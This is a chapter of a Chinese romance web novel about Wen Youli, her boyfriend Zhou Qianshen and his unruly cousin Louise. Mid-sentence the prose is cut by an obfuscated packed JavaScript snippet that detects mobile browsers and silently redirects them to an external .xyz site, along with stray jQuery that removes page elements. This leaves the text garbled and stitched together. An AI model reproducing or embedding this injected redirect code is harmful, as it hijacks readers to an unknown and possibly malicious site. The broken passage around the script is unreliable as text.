思及此，温幼梨垂眼，轻轻摁住男人替她拉过安全带的大手，“周乾燊。”
“嗯，”男人停手，让她自己扣上，“怎么？”
“刚才那位王律师，是你律师团队里的人吗？”
“是。”周乾燊并不犹豫，抬手揉了揉女孩发髻，“她是领导，法律知识和实务经验都很丰富，温温需要吗？”
温幼梨偏过小脸，目光落在周乾燊眼睛里。
他总是能在第一时间看透她的一切想法和需求，但却从不戳穿，他把一切都准备好放在那里，等待着她去选择、拿起、放下，抑或是不屑一顾地转身离开，而他永远沉稳平静，并不因她的决定掀起半点波澜。
这到底是因为什么呢？
这是爱吗？
还是掺杂着胜券在握的俯视、势在必得的信心和可有可无的散漫，以年长者的姿态，从容地看她落入早已编织好的温柔陷阱，她步步沦陷，而他时刻清醒？
她不知道自己此时是怎样的表情，但男人的眼底确实平静。
那些于她而言的艰涩、困难、值得烦心忧虑甚至彻夜难眠的每一件事情，在他这里仿佛都不值一提。
她因“需要”被他捆绑，那他呢？
内心深处，对她是否有一丝脱离掌控的感觉？
“…………”
温幼梨长长吐出一口气，突然感觉很疲惫。
她垂下眼睛，不再去对上男人的视线，这不是谈情说爱的好时机。周乾燊的律师团队，是她在未来某天走投无路时，能选择的最优解。
也许他对自己并不深爱，但这不妨碍他在恋爱期间为自己提供资源。
物质与真心，她得到一样就够了。
温幼梨没有看男人，她看着自己的手，点点头：“可以吗？”
明显感觉到车内气压降低，周乾燊视线打量着女孩侧脸，她看起来不大高兴，他想去牵她，想要拥抱她，想让她贴在他怀里，然后抱怨或者发泄地哭一场，或者干脆开口，告诉他她讨厌这些麻烦的问题，那他就会立刻着手替她解决，名正言顺，不让她感受到丝毫逾越和冒犯。
可是她什么都没有说。
周乾燊看了看她垂落的睫毛，最终收回视线。
“可以，”他平静道，低头看了眼手表：“时间不早了，我送你回家。”
---
碧海山庄。
目送温幼梨下车，周乾燊没有动。
他视线一直跟着女孩的背影，直到她进门，穿着浅色套装的身影逐渐消失在视野里，他才慢慢发动汽车。
温温心情更不好了，是因为他没有提供切实可行的解决方案，还是在为将来担心？
铭科是温幼梨父亲倾注毕生心血的地方，集团里的各位高管也与温董共事已久，他们是伺候的群狼，也是温董曾经的盟友，他不介意以雷霆手段威慑甚至对付这些对温温另有企图的人，但温温不能不给他们留下一些情面。
如果让他来解决……
罢了。
周乾燊打消了这个念头。
过多的干涉只会破坏一段稳定舒适的关系，他情愿在更恰当的时机开口，留给对方选择的机会。
黑色汽车缓缓驶出高档住宅大门，安保弯腰鞠躬，身影很快在倒车镜中缩成越来越模糊的小点。
周乾燊开出一段距离，看了看身后道路，靠边停车，缓缓降下车窗。
香烟缭绕的白雾从狭小空间弥漫出来，男人散漫地夹着烟身，仰面往后靠，一丝不苟的发丝微微落下来，遮住眼底不明显的疲惫。
他从未在温幼梨面前抽过烟，连烟盒都不曾拿出来过。
他一向伪装得很好，知道她喜欢什么样的，从外表、气质、举止行为、言谈细节都轻松把控，确保能让她时刻感到舒适，并且可以全身心依赖。
他是他的男友，更是为她摒除一切烦恼、让她永远开心快乐的唯一的男人。
---
下午将近一点，周乾燊打开了复式公寓门。
玄关凌乱丢着两只绿色高跟鞋，往里走，包包、口红、手镯项链、小山羊皮外套甚至女人的蕾丝边连衣裙丢得满地都是，偌大的客厅仿佛刚经历了一场飓风，全然不复原本整洁如样板间的模样。
而这一切的罪魁祸首刚拉开浴室门，裹着浴巾海藻般的蜷曲长发湿淋淋披散在肩上，见到他视若无睹，转身就要往房间走。
“…………”
周乾燊太阳穴突突直跳，抬手按住，声音竭力保持平静：“Louise。”
身材高挑火辣的女人停住脚步，回眸无辜地看着他。
“你自己的房子呢？”周乾燊在餐桌边坐下，给自己倒了杯水，尽量控制自己不去看那满地的杂七杂八以免被气死，“什么时候回来的？”
Louise眨巴眨巴眼睛，带着法语腔调的中文听起来有些奇怪：“我根本就没走。”
意料之中，周乾燊放下杯子，掏出手机开始拨号。
“哎你要干什么？！”
Louise花容失色，尖叫着扑过来劈手要夺，被周乾燊一抬胳膊挡住了。
“打给小姨还是Liam？选一个。”
“你——！”
Louise非常不高兴，垮下脸不再跟男人玩你躲我抢的游戏，直接拉过椅子在他对面坐下，“不选。”
“那都打，谁先到把你交给谁。”
周乾燊说着交叠起长腿，从从容容就要拨出第一个号码。
“不行！”
Louise直接从座椅里站起来，水滴顺着长发淌在地板上，周乾燊微微皱了皱眉。自己这个表妹还和小时候一样。
“去把头发吹干，然后叫阿姨帮你收拾好东西，你今晚要么回家，要么去酒店。”
Louise快要被气哭，不羁而漂亮的脸蛋皱起来，“我不能回家。”
“那去酒店。”
“我不住酒店！”
周乾燊抬眼看她，不明白她激动的原因，“哭什么？”
“没哭……”Louise抹了把眼泪，“你干嘛非要赶我走？”
周乾燊没立刻回答，视线绕过她，落在客厅的满地狼藉上。
“生活习惯不同，”他说，“况且Louise，你不是小孩子了。”
“……”Louise无话可说。
“这附近就有一家酒店，总统套房，想住几天住几天，刷我的卡，满意了吗？”
“不……”Louise眼泪又垂下来，直接耍起了无赖，“我不走，我不住，要住你去住！”
周乾燊简直头痛了。
他摸出一支烟，噙在嘴里用打火机点燃，深深吸了一口又呼出飘散烟雾。
Louise看着他，知道这是表哥心情极度糟糕的表现，于是她猫腰蹭到墙边，见对方没什么反应，转身企图悄悄打开门钻回房间躲起来。
然后她余光看见男人重新拿起了手机。
“表哥——！！！”
她扑过去，乳燕投林般张牙舞爪带着连声尖叫，下一秒被周乾燊抵着下巴挡在四十厘米之外，另一手夹着烟将手机怼到了她眼前。
屏幕上赫然是酒店豪奢套房图片。
Louise表情不变，“你休想打动我。”
“套房有SPA，24小时客房服务，比你挤在我这里接受管束舒服得多。你现在预约，我让司
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490275|185823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机送你过去，所有费用记我账上。”
“不。”
“再给你张副卡。”
“不。”
“……”周乾燊眼底一片毫不意外的了然，平静收回手机，重新把烟噙回嘴里，低头开始拨号。
“不——！”
“给你两个选择。”
周乾燊抬眼看她，指腹悬在屏幕拨号键上将落未落。
“一，乖乖去酒店套房，你可以住得很舒服，没人会打扰你。副卡随便刷，额度够你买下半个商场。”
“二，你可以继续待在这里，挑战我的耐心。”
周乾燊调整坐姿，手指夹着烟弹了弹烟灰，继续道：“但两个小时后，我会亲自打电话给小姨，并打开免提，你可以亲自向她解释你为什么不能回家，以及为什么把我这里弄得一团糟。”
Louise漂亮而上挑的眼梢开始发红。
周乾燊不吃她这一套，看了眼手表，直接下了最后通牒：
“选一，你接下来至少有一周时间可以过得像公主一样自在。选二，你今晚就会被‘押送’上回法国的飞机然后面对一切。我给你十分钟考虑。”
说完，男人摁灭香烟，起身大步往书房走。
他还有邮件要处理，没工夫一直陪着小公主玩过家家的游戏。
“表——哥——”
Louise眼睁睁看着男人从她面前走过，连余光都没分给她一点，声音一点点染上委屈，“表哥！”
周乾燊不理她，走进书房反手关上门。
三秒后门从外面被敲响了，Louise妥协的声音从外面传进来。
“我去酒店，”她闷闷不乐，低头推门进来，贴墙站着不动，“但我要你的司机。我不能再开自己的车了，你得给我一辆车。”
周乾燊简直要被她的无理取闹气笑了，“不能开车就打车。”
“那多不方便啊！”
Louise抬起漂亮的脸，非常不满，“我要出去玩，要买东西，要——”
“没得商量，”周乾燊抬手看了眼时间，“五分钟。你自己租车雇司机。”
---
吩咐司机把Louise这个麻烦精送走，周乾燊耳边终于清净不少，阿姨在客厅收拾表妹留下的烂摊子，他也不想再待下去，索性拎上钥匙出门透气。
不知为何，脑海里又回想起上午温幼梨那句“可以吗”。
男人眉心微不可察地蹙起，无视了电梯里“此处禁止抽烟”的标语，摸出一根点上，长长吐了口气。
可以吗？
真是公事公办的口吻。
他早已做好了成为她资源列表里某个可有可无的选项的准备，却没想到这小没良心的心硬成这样，张口就是充满距离和试探的问话。
以为他会拒绝吗？
还是说根本就没把他当成一个值得信赖的求助对象？
周乾燊弹了弹烟灰，走出电梯，强行摒除这些令他情绪不稳定的念头，步履从容稳健。
忧思多虑和不可控制不应该出现在他的生活中，他应该永远妥善强大、游刃有余，不管是对待工作、家人，抑或是温温。
尤其是温温。
他是她强大的男友，是她无所不能的坚固后盾，是她无论何时都可以信任和依赖的避风港湾。
男人噙着烟，英俊面容隐没在白雾里，皮鞋踩过光洁地板，巨大的双开感应门在他面前缓缓打开。
下一秒他脚步顿住。
女孩一身浅色套装，站在门边人脸识别屏幕前，显然是没想到他会出来，隔着烟雾，他看见了对方小小的脸上写满了不可置信的错愕。
是温幼梨。